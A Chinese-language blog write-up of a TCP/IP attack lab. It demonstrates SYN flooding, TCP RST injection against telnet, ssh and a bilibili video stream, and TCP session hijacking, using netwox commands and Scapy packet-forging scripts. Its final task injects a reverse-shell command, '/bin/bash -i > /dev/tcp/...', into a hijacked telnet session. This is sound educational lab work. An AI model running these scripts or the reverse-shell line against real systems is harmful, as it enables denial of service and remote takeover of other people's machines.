TCP/IP Attack Lab

首先是三台在同一子网中的主机信息(Attacker 攻击者 – Victim 受害者 – Observe 旁观者

0-1)0-2)0-3

Task 1:SYN洪泛攻击

实现原理/漏洞所在

1-1

即Attacker可以通过伪造数据包来进行SYN攻击,使得存储相应的半开的链接的队列被覆盖满,之后新来的SYN 请求就无法建立连接

具体过程

关闭SYN cookie防御机制

首先将SYN cookie机制关闭并且查看对应的队列的空间大小

1-2

此时在另一台(observe)上面登录受害者主机(telnet来建立TCP连接),此时登陆成功

1-3

之后用攻击者主机对受害者主机进行攻击,执行下面命令

netwox 76 -i "10.0.2.5" -p "23"

之后查看队列情况以及wireshark嗅探情况

  • 队列情况:会发现多了很多state 为 SYN_RECV的”半开”连接

    1-4

  • wireshark对应的抓包情况:可以看到多了很多TCP的包,并且是SYN(flag = 0x2)的包1-5

之后在observe上面尝试telnet victim,会发现一直在trying,并且之后提示timeout,可知SYN 洪泛攻击成功

1-6

打开SYN cookie防御机制

SYN cookie的防御原理

在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,而是根据这个SYN包计算出一个cookie值.

在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性.如果合法,再分配专门的数据区进行处理未来的TCP连接.

1-7

查看此时的队列情况

1-8

此时在observe上面登录victim是能够登陆的

1-9

之后再attack上面攻击victim

netwox 76 -i "10.0.2.5" -p "23"

之后,在observe上面登录,发现仍然能够登录,SYN洪泛攻击失败

1-10

Task 2:TCP RST攻击

实现原理

  • 复位 RST (Reset):当值为 1 时,表明 TCP 连接出现严重差错,必须立即释放,然后再重新建立连接;也可以用来拒绝一个非法的报文段或拒绝打开一个连接。

具体实现

telnet连接断开(netwox实现)

  • 首先先建立victim与observe之间的telnet连接

    2-2

    之后再victim上面查看对应端口号23

    2-1

  • 之后在attack运行

    netwox 78 -d enp0s3

    之后在observe上面随意输入一个字符,会发现连接断开

    2-5

    查看对应的wireshark抓包情况,可以看到抓到RST包(Flag = 0x14)

    2-3

    最后来查看对应的连接的队列,会发现原来的连接已经没有了

    2-4

ssh连接断开(netwox实现)

  • 首先先用ssh连接victim

    2-6

    查看对应的22号端口,发现对应的TCP连接已经建立

    2-7

  • 之后在attack上面发动攻击

    运行相应命令,在observe上面输入字符并且查看wireshark抓包情况

    2-8

    会发现提示broken pipe,并且之后输入ifconfig查看,会发现已经恢复到observe原本的状态

    2-10

    之后查看相关的端口也发现连接已经被移除

telnet连接断开(Scapy实现)

  • 首先进行telnet登录,和之前一样即可,在这里需要得到相应的端口的信息

    tcp        0      0 10.0.2.5:23             10.0.2.7:53184          ESTABLISHED
  • attack攻击,具体代码如下

    #!/usr/bin/python
    from scapy.all import *
    
    
    ip = IP(src="10.0.2.7", dst="10.0.2.5")
    tcp = TCP(sport=53184, dport=23, flags=20, seq=1590699372, ack=3220603117)
    
    pkt = ip/tcp
    ls(pkt)
    send(pkt,verbose=0)

    其中的seq和ack是来自于之前包的观察,seq是包的发送方要发送的字节流的顺序,而ack则是当发送这个包的主机作为接收方时所期望的下一个字节的字节流顺序

    确认号:占 4 字节,表示期望收到对方下一个报文段的第一个数据字节的序号。例如 B 收到 A 的报文,序号值为 501 ,数据长度为 200 字节(序号 501 ~ 700),此时表明 B 正确收到了序号 700 及其之前的所有数据,因此 B 在发送给 A 的确认报文段中确认号的值为 701。

    2-11

    wireshark抓包情况

    2-12

    之后在observe上面输入字符会发现连接被拆除,并且输入ifconfig来确认会发现是observe本来的IP地址

    2-13

ssh连接拆除(Scapy实现)

  • 同理,先进行ssh连接,和之前一样

  • attack攻击

    #!/usr/bin/python
    from scapy.all import *
    
    
    ip = IP(src="10.0.2.7", dst="10.0.2.5")
    tcp = TCP(sport=39772, dport=22, flags=20, seq=2366978434, ack=2391627645)
    
    pkt = ip/tcp
    ls(pkt)
    send(pkt,verbose=0)

    其中seq和ack的数还是来自与之前的包

    2-14

    然后在observe上面输入会发现Broken pipe并且之后ifconfig查看,连接确实断开

    2-15

Task 3:在流媒体APP上进行TCP RST攻击

实现原理

原理就是RST攻击,只不过是更加实际化,TCP连接的server没有出现在子网中

具体实现:

选择bilibili作为victim所要访问的网站,并且建立相应的TCP连接

3-1

之后在attack上面执行netwox命令

3-3

之后发现视频再播放一会之后会一直卡住

3-2

猜测是由于TCP连接断开,会进行重连的尝试,但是一直会是RST,查看wireshark抓包情况

3-4

Task 4:TCP会话劫持

实现原理

通过向TCP连接中注入恶意内容来实现目的(比如删除某一个重要文件)

4-1

具体实现

netwox实现

  • 首先先再observe上面telnet victim,并且在attack上面运行wireshark来抓包

    4-2

  • 此时,在attack上面输入netwox指令

    netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 10.0.2.7 --ip4-dst 10.0.2.5 --tcp-src 53228 --tcp-dst 23 --tcp-seqnum 3349246675 --tcp-acknum 488164510 --tcp-psh --tcp-ack --tcp-window 128 --tcp-data "6c730d00"

    运行,相关截图如下

    4-3

    之后在attack上面查看wireshark,发现能够显示相应的server端的回应的包

    4-4

    包里面的data就是原本应该在victim上面显示的内容

Scapy实现

同样,也是首先进行telnet连接,之后运行py文件,code如下

#!/usr/bin/python
from scapy.all import *


ip = IP(src="10.0.2.7", dst="10.0.2.5")
tcp = TCP(sport=53246, dport=23, flags=16, seq=3019183377, ack=466497190)
data = "ls\r"
pkt = ip/tcp/data
ls(pkt)
send(pkt,verbose=0)

之后wireshark抓包会发现有相应的包,并且data段的内容是我们想要看到的

4-5

Task 5:使用TCP劫持实现反向shell

实现原理与例子:

当没有进行telnet链接的时候,由于下面的命令

/bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1

将shell进行了重定向,将相应的标准输入和错误输出放到了对应IP地址的对应端口上面,所以之后在attack上面运行netcat监听,之后connet上之后就可以控制相应的命令

5-1

具体实现(Scapy)

  • 首先,在建立好telnet连接之后,查看wireshark来看对应的seq和ack

    5-2

  • 然后构造对应的py文件

    #!/usr/bin/python
    from scapy.all import *
    
    
    ip = IP(src="10.0.2.7", dst="10.0.2.5")
    tcp = TCP(sport=53248, dport=23, flags=16, seq=2735483318, ack=3372370186)
    data = "/bin/bash -i > /dev/tcp/10.0.2.4/9090 0<&1 2>&1\r"
    pkt = ip/tcp/data
    ls(pkt)
    send(pkt,verbose=0)

    之后打开attack上面的监听端口,之后运行py文件

    5-3

    5-4

    可以看到已经实现了反弹shell

小结

  • Task1:SYN洪泛攻击

    • 在这里出现问题的原因是:潜在的对于”半开”的TCP连接的数量是存在要求的,如果没有这个上线限制,则就不存在该攻击的可能性,而现有的解决方案是SYN cookie防御,通过计算cookie值并且不预先分配存储空间可以进行有效避免
  • Task2:TCP RST攻击


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

Mitnick Attack 上一篇
TLS实验 下一篇